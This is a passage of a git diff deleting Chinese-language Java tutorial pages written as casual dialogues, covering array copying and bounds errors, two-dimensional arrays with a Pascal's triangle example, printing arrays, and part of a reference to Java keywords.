复制第一个数组到新数组 -System.arraycopy(array1, 0, mergedArray, 0, array1.length); -System.out.println(Arrays.toString(mergedArray)); - -// 复制第二个数组到新数组 -System.arraycopy(array2, 0, mergedArray, array1.length, array2.length); -System.out.println(Arrays.toString(mergedArray)); -``` - -输出结果如下所示: - -```java -[1, 2, 3, 0, 0, 0] -[1, 2, 3, 4, 5, 6] -``` - -当然了,我们也可以使用循环来完成数组的复制: - -```java -int[] array1 = {1, 2, 3}; -int[] array2 = {4, 5, 6}; - -// 创建一个新数组,长度为两个数组长度之和 -int[] mergedArray = new int[array1.length + array2.length]; - -// 复制第一个数组到新数组 -int index = 0; -for (int element : array1) { - mergedArray[index++] = element; -} - -// 复制第二个数组到新数组 -for (int element : array2) { - mergedArray[index++] = element; -} -``` - -很简单,很好理解,相信三妹你也能看懂。 - -### 数组越界 - -在我们进行数组操作的时候,最容易遇到的一个问题就是数组越界,也就是 ArrayIndexOutOfBoundsException [异常](https://javabetter.cn/exception/gailan.html)。 - -```java -int[] anArray = new int[] {1, 2, 3, 4, 5}; -System.out.println(anArray[5]); -``` - -上面这段代码就会抛出数组越界的异常,因为数组的索引是从 0 开始的,所以最大索引为 `length - 1`,也就是 4,所以当我们使用 5 作为索引的时候,就会抛出异常。 - -所以在操作数组之前,一定要注意索引的范围。 - -### 小结 - -好,今天我们就先讲到这里,说完,我就跑去阳台来一根华子,留三妹在电脑前面练习了起来。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/array/double-array.md b/docs/src/array/double-array.md deleted file mode 100644 index bf4a3e32a3..0000000000 --- a/docs/src/array/double-array.md +++ /dev/null @@ -1,218 +0,0 @@ ---- -title: 用一根烟的时间掌握 Java二维数组 -shortTitle: 二维数组 -category: - - Java核心 -tag: - - 数组&字符串 -description: 本文深入讲解了Java二维数组的基本概念、创建方法、初始化方法以及常用操作。通过阅读本文,您将了解到如何定义二维数组、创建和初始化二维数组,以及如何进行二维数组的常见操作,如添加、删除、查询等。本文将帮助您快速掌握Java二维数组的使用方法和技巧(打印杨辉三角)。 -head: - - - meta - - name: keywords - content: Java, 二维数组, 创建二维数组, 初始化二维数组, 数组操作, 多维数组 ---- - -“二哥,今天我们简单过一下二维数组吧,挺简单的。”三妹放下手机对我说。 - -“好啊,本来不打算讲了,因为开发中用的其实不多,也很简单,就从一维到二维,也没啥可讲的,就简单聊聊吧。”我掐灭了手中的华子,长呼一口烟,飘过三妹的头顶,引起一阵轻微的咳嗽声(😂) - -### 01、什么是二维数组 - -二维数组是一种数据类型,可以存储多行和多列的数据。它由一系列的行和列组成,每个元素都可以通过一个行索引和列索引来访问。例如,一个3行4列的二维数组可以表示为以下形式: - -```java -array = [ - [a, b, c, d], - [e, f, g, h], - [i, j, k, l] -] -``` - -在这个例子中,第一行有4个元素,第二行有4个元素,第三行有4个元素,每个元素都有一个行索引和一个列索引。例如,元素 array[1][2] 是第2行第3列的元素,它的值是 g。 - -使用二维数组可以有效地存储和处理表格数据,如矩阵、图像、地图等等。 - -### 02、创建二维数组 - -要在 Java 中创建二维数组,你必须指定要存储在数组中的数据类型,后跟两个方括号和数组的名称。 - -语法如下所示: - -```txt -data_type[][] array_name; -``` - -让我们看一个代码示例。 - -```java -int[][] oddNumbers = { {1, 3, 5, 7}, {9, 11, 13, 15} }; -``` - - -### 03、访问二维数组中的元素 - -我们可以使用两个方括号来访问二维中的元素。 - -第一个表示我们要从中访问元素的数组,而第二个表示我们要访问的元素索引。 - -让我们用一个例子来简化上面的解释: - -```java -int[][] oddNumbers = { {1, 3, 5, 7}, {9, 11, 13, 15} }; - -System.out.println(oddNumbers[0][0]); -// 1 -``` - -在上面的示例中,`oddNumbers` 数组中有两个数组——`{1, 3, 5, 7}` 和 `{9, 11, 13, 15}`。 - -第一个数组——`{1, 3, 5, 7}`——用 0 表示。 - -第二个数组——`{9, 11, 13, 15}`——用 1 表示。 - -第一个数组是 0,第二个是 1,第三个是 2,依此类推。 - -因此,要访问第一个数组中的项目,我们将 0 分配给第一个方括号。由于我们试图访问数组中的第一项,我们将使用它的索引,即 0:`oddNumbers[0][0]`。 - -让我们进一步分解它。 - -这是访问元素的代码:`oddNumbers[?][?]`。 - -我在两个方括号中都加上了问号——随着进展填写它们。 - -假设我们要访问第二个数组中的元素,我们的代码将如下所示:`oddNumbers[1][?]`。 - -现在我们要在第二个数组(`{9, 11, 13, 15}`)中尝试访问其中一个元素。就像一维数组一样,每个元素都有一个从零开始的索引。 - -因此,要访问第三个元素 `13`,我们将其索引号传递给第二个方括号:`oddNumbers[1][2]`。 - -来看这样一个例子: - -```java -int[][] oddNumbers = { {1, 3, 5, 7}, {9, 11, 13, 15}, {17, 19, 21, 23} }; -``` - -我们的目标是访问第三个数组中的 21。访问方式仍然通过问号来表示:`oddNumbers[?][?]`。 - -我们首先给第一个问号一个指向要访问的特定数组的值。 - -数组 0 => `{1, 3, 5, 7}` - -数组 1 => `{9, 11, 13, 15}` - -数组 2 => `{17, 19, 21, 23}` - -我们要查找的数字在第三个数组中,所以是:`oddNumbers[2][?]`。 - -第二个方括号的值将指向要访问的元素。为此,我们必须指定元素的索引。以下是该数组中的索引: - -17 => 索引 0 - -19 => 索引 1 - -21 => 索引 2 - -23 => 索引 3 - -21 的索引为 2,因此我们可以将其添加到第二个方括号:`oddNumbers[2][2]`。当你将其打印到控制台时,将会打印出 21。 - -代码如下所示: - -```java -int[][] oddNumbers = { {1, 3, 5, 7}, {9, 11, 13, 15}, {17, 19, 21, 23} }; - -System.out.println(oddNumbers[2][2]); -// 21 -``` - -你可以使用嵌套循环,遍历二维数组中的所有项目。这是一个例子: - -```java -int[][] oddNumbers = { {1, 3, 5, 7}, {9, 11, 13, 15}, {17, 19, 21, 23} }; - -for(int i = 0; i < oddNumbers.length; i++){ - for(int j = 0; j < oddNumbers[i].length; j++){ - System.out.println(oddNumbers[i][j]); - } -} - -// 1 -// 3 -// 5 -// 7 -// 9 -// 11 -// 13 -// 15 -// 17 -// 19 -// 21 -// 23 -``` - -上面的代码将会打印出 `oddNumbers` 数组中的所有项目。 - -### 04、二维数组打印杨辉三角 - -“三妹,上次学一维数组的时候留了一道题,要你尝试用二维数组打印杨辉三角,你试过了吗?” - -“搞过了,你看我的代码。” - -```java -import java.util.Scanner; - -public class YangHuiTriangle { - public static void main(String[] args) { - Scanner input = new Scanner(System.in); - System.out.print("请输入要打印的行数:"); - int n = input.nextInt(); - printYangHuiTriangle(n); - } - - public static void printYangHuiTriangle(int n) { - int[][] triangle = new int[n][n]; - - for (int i = 0; i < n; i++) { - // 每行的第一个和最后一个数字都是1 - triangle[i][0] = 1; - triangle[i][i] = 1; - - for (int j = 1; j < i; j++) { - // 其他数字是上一行的两个数字之和 - triangle[i][j] = triangle[i - 1][j - 1] + triangle[i - 1][j]; - } - } - - // 打印杨辉三角 - for (int i = 0; i < n; i++) { - for (int j = 0; j <= i; j++) { - System.out.print(triangle[i][j] + " "); - } - System.out.println(); - } - } -} -``` - -“这段代码使用了一个二维数组来存储杨辉三角中的数字。首先,程序要求用户输入要打印的行数,然后调用 printYangHuiTriangle 方法来生成和打印杨辉三角。在 printYangHuiTriangle 方法中,程序使用了一个嵌套的 for 循环来计算杨辉三角中的每个数字,并将结果存储在二维数组 triangle 中。最后,程序再次使用循环来遍历数组并打印出杨辉三角中的数字。”三妹认真地解释道。 - -“哎呀,不错呀,代码写的挺标准,都知道用 Scanner 类和控制台交互了呀!”见三妹有这样的表现,我忍不住心里乐开了花,这些天的学习也终于有了成果啊,真不错! - -``` -请输入要打印的行数:6 -1 -1 1 -1 2 1 -1 3 3 1 -1 4 6 4 1 -1 5 10 10 5 1 -``` - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/array/print.md b/docs/src/array/print.md deleted file mode 100644 index dfc9a526ce..0000000000 --- a/docs/src/array/print.md +++ /dev/null @@ -1,184 +0,0 @@ ---- -title: 如何优雅地打印Java数组? -shortTitle: 打印数组 -category: - - Java核心 -tag: - - 数组&字符串 -description: 本文将向您展示如何在Java中优雅地打印数组内容。我们将介绍不同的方法来输出数组,包括使用for循环、增强型for循环以及Java内置的Arrays.toString()和Arrays.deepToString()方法。通过本文,您将学会如何简便快捷地打印Java数组,提高编程效率和代码可读性。 -head: - - - meta - - name: keywords - content: Java, 数组打印, 输出数组, Arrays.toString, Arrays.deepToString ---- - -“哥,[之前听你说,数组也是一个对象](https://javabetter.cn/array/array.html),但 Java 中并未明确的定义这样一个类。”看来三妹有在用心地学习。 - -“是的,因此数组也就没有机会覆盖 `Object.toString()` 方法。如果尝试直接打印数组的话,输出的结果并不是我们预期的结果。”我接着三妹的话继续说。 - -“那怎么打印数组呢?”三妹心有灵犀地把今天的核心问题提了出来。 - -### 为什么不能直接打印数组 - -“首先,我们来看一下,为什么不能直接打印数组,直接打印的话,会出现什么问题。” - -来看这样一个例子。 - -``` -String [] cmowers = {"沉默","王二","一枚有趣的程序员"}; -System.out.println(cmowers); -``` - -程序打印的结果是: - -``` -[Ljava.lang.String;@3d075dc0 -``` - -`[Ljava.lang.String;` 表示字符串数组的 Class 名,@ 后面的是十六进制的 hashCode——这样的打印结果太“人性化”了,一般人表示看不懂!为什么会这样显示呢?查看一下 `java.lang.Object` 类的 `toString()` 方法就明白了。 - -```java -public String toString() { - return getClass().getName() + "@" + Integer.toHexString(hashCode()); -} -``` - -再次证明,数组虽然没有显式定义成一个类,但它的确是一个对象,继承了祖先类 Object 的所有方法。 - -“哥,那为什么数组不单独定义一个类来表示呢?就像字符串 String 类那样呢?”三妹这个问题让人头大,但也好解释。 - -“一个合理的说法是 Java 将其隐藏了。假如真的存在这么一个类,就叫 Array.java 吧,我们假想一下它真实的样子,必须得有一个容器来存放数组的每一个元素,就像 String 类那样。”一边回答三妹,我一边打开了 String 类的源码。 - -```java -public final class String - implements java.io.Serializable, Comparable, CharSequence { - /** The value is used for character storage. */ - private final char value[]; -} -``` - -“最终还是要用类似一种数组的形式来存放数组的元素,对吧?这就变得很没有必要了,不妨就把数组当做是一个没有形体的对象吧!” - -“好了,不讨论这个了。”我怕话题扯远了,扯到我自己也答不出来就尴尬了,赶紧把三妹的思路拽了回来。 - -### stream 流打印 Java 数组 - -“我们来看第一种打印数组的方法,使用时髦一点的[Stream 流](https://javabetter.cn/java8/stream.html)。” - -第一种形式: - -```java -Arrays.asList(cmowers).stream().forEach(s -> System.out.println(s)); -``` - -第二种形式: - -```java -Stream.of(cmowers).forEach(System.out::println); -``` - -第三种形式: - -```java -Arrays.stream(cmowers).forEach(System.out::println); -``` - -打印的结果如下所示。 - -``` -沉默 -王二 -一枚有趣的程序员 -``` - -没错,这三种方式都可以轻松胜任本职工作,并且显得有点高大上,毕竟用到了 Stream,以及 [lambda 表达式](https://javabetter.cn/java8/Lambda.html)。 - -### for 循环打印 Java 数组 - -“当然了,也可以使用传统的方式,for 循环。甚至 for-each 也行。” - -```java -for(int i = 0; i < cmowers.length; i++){ - System.out.println(cmowers[i]); -} - -for (String s : cmowers) { - System.out.println(s); -} -``` - -### Arrays 工具类打印 Java 数组 - -“哥,你难道忘了[上一篇](https://javabetter.cn/common-tool/arrays.html)在讲 Arrays 工具类的时候,提到过另外一种方法 `Arrays.toString()` 吗?”三妹看我一直说不到点子上,有点着急了。 - -“当然没有了,我认为 `Arrays.toString()` 是打印数组的最佳方式,没有之一。”我的情绪有点激动。 - -`Arrays.toString()` 可以将任意类型的数组转成字符串,包括基本类型数组和引用类型数组。该方法有多种重载形式。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/array/print-01.png) - -使用 `Arrays.toString()` 方法来打印数组再优雅不过了,就像,就像,就像蒙娜丽莎的微笑。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/array/print-02.png) - -(三妹看到这么一副图的时候忍不住地笑了) - -“三妹,你不要笑,来,怀揣着愉快的心情看一下代码示例。” - -```java -String [] cmowers = {"沉默","王二","一枚有趣的程序员"}; -System.out.println(Arrays.toString(cmowers)); -``` - -程序打印结果: - -``` -[沉默, 王二, 一枚有趣的程序员] -``` - -哇,打印格式不要太完美,不多不少!完全是我们预期的结果:`[]` 表明是一个数组,`,` 点和空格用来分割元素。 - -### Arrays工具类打印二维数组 - -“哥,那如果我想打印二维数组呢?” - -“可以使用 `Arrays.deepToString()` 方法。” - -```java -String[][] deepArray = new String[][] {{"沉默", "王二"}, {"一枚有趣的程序员"}}; -System.out.println(Arrays.deepToString(deepArray)); -``` - -打印结果如下所示。 - -``` -[[沉默, 王二], [一枚有趣的程序员]] -``` - -### POJO 的打印规约 - -“说到打印,三妹,哥给你提醒一点。阿里巴巴的 Java 开发手册上有这样一条规约,你看。” - -![](https://cdn.paicoding.com/tobebetterjavaer/images/array/print-03.png) - -“什么是 POJO 呢,就是 Plain Ordinary Java Object 的缩写,一般在 Web 应用程序中建立一个数据库的映射对象时,我们称它为 POJO,这类对象不继承或不实现任何其它 Java 框架的类或接口。” - -“对于这样的类,最好是重写一下它的 `toString()` 方法,方便查看这个对象到底包含了什么字段,好排查问题。” - -“如果不重写的话,打印出来的 Java 对象就像直接打印数组的那样,一串谁也看不懂的字符序列。” - -“可以借助 Intellij IDEA 生成重写的 `toString()` 方法,特别方便。” - -“好的,哥,我记住了。以后遇到的话,我注意下。你去休息吧,我来敲一下你提到的这些代码,练一练。” - -“OK,我走,我走。” - - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/basic-extra-meal/48-keywords.md b/docs/src/basic-extra-meal/48-keywords.md deleted file mode 100644 index 78116f18ae..0000000000 --- a/docs/src/basic-extra-meal/48-keywords.md +++ /dev/null @@ -1,982 +0,0 @@ ---- -title: 5000字速通Java的48个关键字及2个保留字 -shortTitle: Java关键字和保留字 -category: - - Java核心 -tag: - - Java语法基础 -description: 本文详细介绍了Java编程语言中的48个关键字及2个保留字,包括它们的用途、特点和使用场景。通过了解这些关键字和保留字,您将更好地掌握Java编程的核心概念,提升编程技能。 -head: - - - meta - - name: keywords - content: Java, 关键字, 保留字, 编程基础 ---- - -“二哥,就[之前你给我展示的 Java 代码](https://javabetter.cn/overview/hello-world.html)中,有 public、static、void、main 等等,它们应该都是关键字吧?”三妹的脸上泛着甜甜的笑容,我想她在学习 Java 方面已经变得越来越自信了。 - -“是的,三妹。Java 中的关键字可不少呢!你一下子可能记不了那么多,不过,先保留个印象吧,对以后的学习会很有帮助。这些小代码都很简单,你可以照着瞧一瞧,感受一下。” - ->PS:这里我们按照首字母的自然顺序排列来简述一下,了解即可,记不住没关系哦。这些关键字我们在后续的学习中会详细讲解的,直到你搞懂为止。 - -## 1、abstract: - -用于声明[抽象类](https://javabetter.cn/oo/abstract.html),以及抽象方法。 - -```java -abstract class Animal { - abstract void makeSound(); - - public void sleep() { - System.out.println("The animal is sleeping."); - } -} - -class Dog extends Animal { - void makeSound() { - System.out.println("The dog barks."); - } -} -``` - -在这个示例中,我们创建了一个名为 Animal 的抽象类,其中包含一个抽象方法 `makeSound()` 和一个具体方法 `sleep()`。 - -## 2、boolean: - -Java 中的一种基本数据类型,表示布尔值,即真(true)或假(false)。boolean 数据类型常用于判断条件、循环控制和逻辑运算等场景。 - -```java -boolean isStudent = true; - -if (isStudent) { - System.out.println("This person is a student."); -} else { - System.out.println("This person is not a student."); -} -``` - -在这个示例中,我们定义了一个 boolean 变量:isStudent。通过 if 语句,我们可以根据这些变量的值进行不同的操作。 - -## 3、break: - -用于跳出循环结构(如 for、while 和 do-while 循环)或 switch 语句。当遇到 break 语句时,程序将立即跳出当前循环或 switch 语句,继续执行紧跟在循环或 switch 语句后面的代码。 - -```java -for (int i = 0; i < 10; i++) { - if (i == 5) { - break; - } - System.out.println("i: " + i); -} -System.out.println("Loop ended."); -``` - -在这个示例中,我们使用 for 循环遍历 0 到 9 的整数。当 i 等于 5 时,我们使用 break 语句跳出循环。 - -## 4、byte: - -用于表示一个 8 位(1 字节)有符号整数。它的值范围是 -128(-2^7)到 127(2^7 - 1)。 - -由于 byte 类型占用的空间较小,它通常用于处理大量的数据,如文件读写、网络传输等场景,以节省内存空间。 - -```java -byte minByte = -128; -byte maxByte = 127; -``` - -在这个示例中,我们声明了三个 byte 类型的变量:minByte、maxByte,并分别赋予了不同的值。 - -## 5、case: - -通常与 switch 语句一起使用。switch 语句允许根据某个变量的值来选择执行不同的代码块。在 switch 语句中,case 用于标识每个可能的值和对应的代码块。 - -例子我们直接放到 switch 中一起讲。 - -## 6、catch: - -用于捕获 try 语句中的[异常](https://javabetter.cn/exception/gailan.html)。在 try 块中可能会抛出异常,而在 catch 块中可以捕获这些异常并进行处理。catch 块可以有多个,每个 catch 块可以捕获特定类型的异常。在 catch 块中,可以根据需要进行异常处理,例如输出错误信息、进行日志记录、恢复程序状态等。 - -```java -try { - int num = Integer.parseInt("abc"); -} catch (NumberFormatException e) { - System.out.println("Invalid number format"); -} -``` - -这个程序使用 try-catch 语句捕获 NumberFormatException 异常。在 try 块中,尝试将字符串 "abc" 转换为整数类型,由于这个字符串不是有效的数字格式,将会抛出 NumberFormatException 异常。在 catch 块中,捕获到了这个异常,并输出一条错误信息。 - -## 7、char: - -用于声明一个字符类型的变量。char 类型的变量可以存储任意的 [Unicode 字符](https://javabetter.cn/basic-extra-meal/java-unicode.html),可以使用单引号将字符括起来来表示。 - -```java -char c = 'A'; -``` - -这个程序创建了一个 char 类型的变量 c,并将其赋值为大写字母 A。 - -## 8、class: - -用于声明一个[类](https://javabetter.cn/oo/object-class.html)。 - -```java -public class Person { - private String name; - private int age; - - public Person(String name, int age) { - this.name = name; - this.age = age; - } - - public void sayHello() { - System.out.println("Hello, my name is " + name + " and I am " + age + " years old."); - } -} -``` - -## 9、continue: - -用于继续下一个循环,可以在指定条件下跳过其余代码。 - -```java -for (int i = 1; i <= 10; i++) { - if (i % 2 == 0) { - continue; - } - System.out.println(i); -} -``` - -## 10、default: - -用于指定 switch 语句中除去 case 条件之外的默认代码块。这个我们放到 switch 里一起演示。 - -## 11、do: - -通常和 while 关键字配合使用,do 后紧跟循环体。 - -```java -int i = 1; -do { - System.out.println(i); - i++; -} while (i <= 10); -``` - -do-while 循环与 while 循环类似,不同之处在于 do-while 循环会先执行循环体中的代码,然后再检查循环条件。因此,do-while 循环至少会执行一次循环体中的代码。 - -## 12、double: - -用于声明一个双精度浮点类型的变量。 - -```java -double a = 3.14; -double b = 2.0; -double c = a + b; -``` - -## 13、else: - -用于指示 if 语句中的备用分支。 - -```java -int score = 75; -if (score >= 60) { - System.out.println("及格了"); -} else { - System.out.println("挂科了"); -} -``` - -## 14、enum: - -用于定义一组固定的常量([枚举](https://javabetter.cn/basic-extra-meal/enum.html))。 - -```java -public enum PlayerType { - TENNIS, - FOOTBALL, - BASKETBALL -} -``` - -## 15、extends: - -用于指示一个类是从另一个类或接口[继承](https://javabetter.cn/oo/extends-bigsai.html)的。 - -```java -class Animal { - public void eat() { - System.out.println("动物正在吃东西"); - } -} - -class Dog extends Animal { - public void bark() { - System.out.println("狗在汪汪叫"); - } -} - -public class ExtendsDemo { - public static void main(String[] args) { - Dog dog = new Dog(); - dog.eat(); - dog.bark(); - } -} -``` - -Animal 类中有一个 `eat()` 方法,输出字符串 "动物正在吃东西"。Dog 类继承自 Animal 类,并定义了一个 `bark()` 方法,输出字符串 "狗在汪汪叫"。 - -## 16、final: - -[用于表示某个变量、方法或类是最终的,不能被修改或继承](https://javabetter.cn/oo/final.html)。 - -①、final 变量:表示一个常量,一旦被赋值,其值就不能再被修改。这在声明不可变的值时非常有用。 - -```java -final double PI = 3.14159265359; -``` - -②、final 方法表示一个不能被子类重写的方法。这在设计类时,确保某个方法的实现不会被子类修改时非常有用。 - -```java -class Animal { - final void makeSound() { - System.out.println("动物发出声音."); - } -} - -class Dog extends Animal { - // 错误: 无法覆盖来自 Animal 的 final 方法 - // void makeSound() { - // System.out.println("狗吠叫."); - // } -} - -public class Main { - public static void main(String[] args) { - Dog dog = new Dog(); - dog.makeSound(); - } -} -``` - -③、final 类表示一个不能被继承的类。这在设计类时,确保其不会被其他类继承时非常有用。[String 类就是 final 的](https://javabetter.cn/oo/final.html)。 - -```java -final class Animal { - void makeSound() { - System.out.println("动物发出声音."); - } -} - -// 错误: 类型 Dog 无法继承 final 类 Animal -// class Dog extends Animal { -// void makeSound() { -// System.out.println("狗吠叫."); -// } -// } - -public class Main { - public static void main(String[] args) { - Animal animal = new Animal(); - animal.makeSound(); - } -} -``` - -## 17、finally: - -和 `try-catch` 配合使用,表示无论是否处理异常,总是执行 finally 块中的代码。 - -```java -try { - int x = 10 / 0; // 抛出异常 -} catch (Exception e) { - System.out.println("发生了异常:" + e.getMessage()); -} finally { - System.out.println("finally 块被执行"); -} -``` - -## 18、float: - -表示单精度浮点数。 - -```java -float f1 = 3.14f; // 注意要在数字后面加上 f 表示这是一个 float 类型 -float f2 = 1.23e-4f; // 科学计数法表示小数 -``` - -在 Java 中,浮点数默认是 double 类型,如果要使用 float 类型的数据,需要在数字后面加上一个 f 或者 F,表示这是一个 float 类型的字面量。另外,也可以使用科学计数法表示浮点数,例如 1.23e-4 表示 0.000123。 - -## 19、for: - -用于声明一个 for 循环,如果循环次数是固定的,建议使用 for 循环。 - -```java -int[] arr = {1, 2, 3, 4, 5}; -for (int i = 0; i < arr.length; i++) { - System.out.println("arr[" + i + "] = " + arr[i]); -} -``` - -## 20、if: - -用于指定条件,如果条件为真,则执行对应代码。 - -```java -int n = -3; -if (n > 0) { - System.out.println(n + " 是正数"); -} else if (n < 0) { - System.out.println(n + " 是负数"); -} else { - System.out.println(n + " 是零"); -} -``` - -## 21、implements: - -用于实现[接口](https://javabetter.cn/oo/interface.html)。 - -下面是一个实现了 Runnable 接口的类的示例: - -```java -public class MyThread implements Runnable { - public void run() { - // 线程执行的代码 - } -} -``` - -## 22、import: - -用于导入对应的类或者接口。例如,如果要使用 Java 标准库中的 ArrayList 类,可以这样写: - -```java -import java.util.ArrayList; -``` - -## 23、instanceof: - -[用于判断对象是否属于某个类型(class)](https://javabetter.cn/basic-extra-meal/instanceof.html)。 - -```java -例如,假设有一个 Person 类和一个 Student 类,Student 类继承自 Person 类,可以使用 instanceof 运算符来判断一个对象是否为 Person 类或其子类的实例: -Person p = new Student(); -if (p instanceof Person) { - System.out.println("p is an instance of Person"); -} -if (p instanceof Student) { - System.out.println("p is an instance of Student"); -} -``` - -## 24、int: - -用于表示整数值。 - -```java -int x; // 声明一个 int 类型的变量 x -x = 10; // 将整数值 10 赋给变量 x -int y = 20; // 声明并初始化一个 int 类型的变量 y,赋值为整数值 20 -``` - -## 25、interface: - -用于声明接口。会定义一组方法的签名(即方法名、参数列表和返回值类型),但没有方法体。其他类可以实现接口,并提供方法的具体实现。 - -```java -public interface MyInterface { - void method1(); - int method2(String param); -} -``` - -## 26、long: - -用于表示长整数值。 - -```java -long x; // 声明一个 long 类型的变量 x -x = 10000000000L; // 将长整数值 10000000000 赋给变量 x,需要在数字后面加上 L 或 l 表示这是一个 long 类型的值 -long y = 20000000000L; // 声明并初始化一个 long 类型的变量 y,赋值为长整数值 20000000000 -``` - -## 27、native: - -[用于声明一个本地方法](https://javabetter.cn/oo/native-method.html),本地方法是指在 Java 代码中声明但在本地代码(通常是 C 或 C++ 代码)中实现的方法,它通常用于与操作系统或其他本地库进行交互。 - -```java -public native void nativeMethod(); -``` - -## 28、new: - -用于创建一个新的对象。 - -以下是使用 new 关键字创建对象实例的基本语法: - -```java -ClassName obj = new ClassName(); -``` - -以下是使用 new 关键字创建数组实例的基本语法: - -```java -int[] arr = new int[10]; -``` - -## 29、null: - -如果一个变量是空的(什么引用也没有指向),就可以将它赋值为 null,和[空指针](https://javabetter.cn/exception/npe.html)异常息息相关。 - -```java -String str = null; // 声明一个字符串引用,初始化为 null -MyClass obj = null; // 声明一个 MyClass 类型的引用,初始化为 null -``` - -## 30、package: - -用于声明类所在的[包](https://javabetter.cn/oo/package.html)。 - -```java -package com.example.mypackage; -``` - -## 31、private: - -一个[访问权限修饰符](https://javabetter.cn/oo/access-control.html),表示方法或变量只对当前类可见。 - -```java -public class MyClass { - private int x; // 私有属性 x,只能在当前类的内部访问 - - private void foo() { - // 私有方法 foo,只能在当前类的内部调用 - } -} -``` - -在这个示例中,MyClass 类有一个私有属性 x 和一个私有方法 `foo()`。这些成员只能在 MyClass 类的内部访问和调用,对其他类不可见。 - -## 32、protected: - -一个访问权限修饰符,表示方法或变量对同一包内的类和所有子类可见。 - -```java -package com.example.mypackage; - -public class MyBaseClass { - protected int x; // 受保护的属性 x,可以被子类和同一包中的其他类访问 - - protected void foo() { - // 受保护的方法 foo,可以被子类和同一包中的其他类调用 - } -} - -package com.example.mypackage; - -public class MySubClass extends MyBaseClass { - public void bar() { - x = 10; // 可以访问 MyBaseClass 中的受保护属性 x - foo(); // 可以调用 MyBaseClass 中的受保护方法 foo - } -} -``` - -在这个示例中,MyBaseClass 类有一个受保护的属性 x 和一个受保护的方法 `foo()`。这些成员可以被子类和同一包中的其他类访问和调用。MySubClass 类继承自 MyBaseClass 类,并可以访问和修改 MyBaseClass 中的受保护成员。 - -## 33、public: - -一个访问权限修饰符,除了可以声明方法和变量(所有类可见),还可以声明类。`main()` 方法必须声明为 public。 - -```java -public class MyClass { - public int x; // 公有属性 x,可以被任何类访问 - - public void foo() { - // 公有方法 foo,可以被任何类调用 - } -} -``` - -在这个示例中,MyClass 类有一个公有属性 x 和一个公有方法 `foo()`。这些成员可以被任何类访问和调用,无论这些类是否在同一个包中。 - -## 35、return: - -用于从方法中返回一个值或终止方法的执行。return 语句可以将方法的计算结果返回给调用者,或者在方法执行到某个特定条件时提前结束方法。 - -```java -public int add(int a, int b) { - int sum = a + b; - return sum; // 返回 sum 的值,并结束方法的执行 -} -``` - -此外,return 语句还可以用于提前结束方法的执行。例如,假设我们要编写一个方法,用于判断一个整数是否为偶数: - -```java -public static boolean isEven(int number) { - if (number % 2 == 0) { - return true; - } - return false; -} -``` - -在这个示例中,我们定义了一个名为 isEven 的方法,该方法接收一个整数参数 number。如果 number 是偶数,我们使用 return 语句提前返回 true。否则,方法执行将继续,最后返回 false。 - -## 36、short: - -用于表示短整数,占用 2 个字节(16 位)的内存空间。 - -```java -short x = 10; // 声明一个 short 类型的变量 x,赋值为 10 -short y = 20; // 声明一个 short 类型的变量 y,赋值为 20 -``` - -## 37、static: - -表示该变量或方法是[静态变量或静态方法](https://javabetter.cn/oo/static.html)。 - -```java -public class MyClass { - public static int x; // 静态变量 x,属于类的成员 - - public static void foo() { - // 静态方法 foo,属于类的成员 - } -} -``` - -在这个示例中,MyClass 类有一个静态变量 x 和一个静态方法 `foo()`。这些成员属于类的成员,可以通过类名直接访问,不需要创建对象。 - -## 38、strictfp: - -strict floating-point - -并不常见,通常用于修饰一个方法,用于限制浮点数计算的精度和舍入行为。当你在类、接口或方法上使用 strictfp 时,该范围内的所有浮点数计算将遵循 IEEE 754 标准的规定,以确保跨平台的浮点数计算的一致性。 - -不同的硬件平台和 JVM 实现可能对浮点数计算的精度和舍入行为有差异,这可能导致在不同环境中运行相同的浮点数计算代码产生不同的结果。使用 strictfp 关键字可以确保在所有平台上获得相同的浮点数计算结果,避免计算结果的不一致问题。 - -但请注意,使用 strictfp 可能会对性能产生影响,因为可能需要更多的计算和转换来确保遵循 IEEE 754 标准。因此,在使用 strictfp 时,需要权衡精度和一致性与性能之间的关系。 - -```java -public strictfp class MyClass { - public static void main(String[] args) { - double a = 0.1; - double b = 0.2; - double result = a + b; - System.out.println("Result: " + result); - } -} -``` - -输出: - -``` -Result: 0.30000000000000004 -``` - -在这个示例中,MyClass 类被声明为 strictfp,因此类中的所有浮点数计算都将遵循 IEEE 754 标准。 - -在大多数现代操作系统上,使用 strictfp 可能不会产生显著差异,因为大家都遵循 IEEE 754 标准,除非是一些较旧的硬件平台。 - -IEEE 754 标准(IEEE Standard for Floating-Point 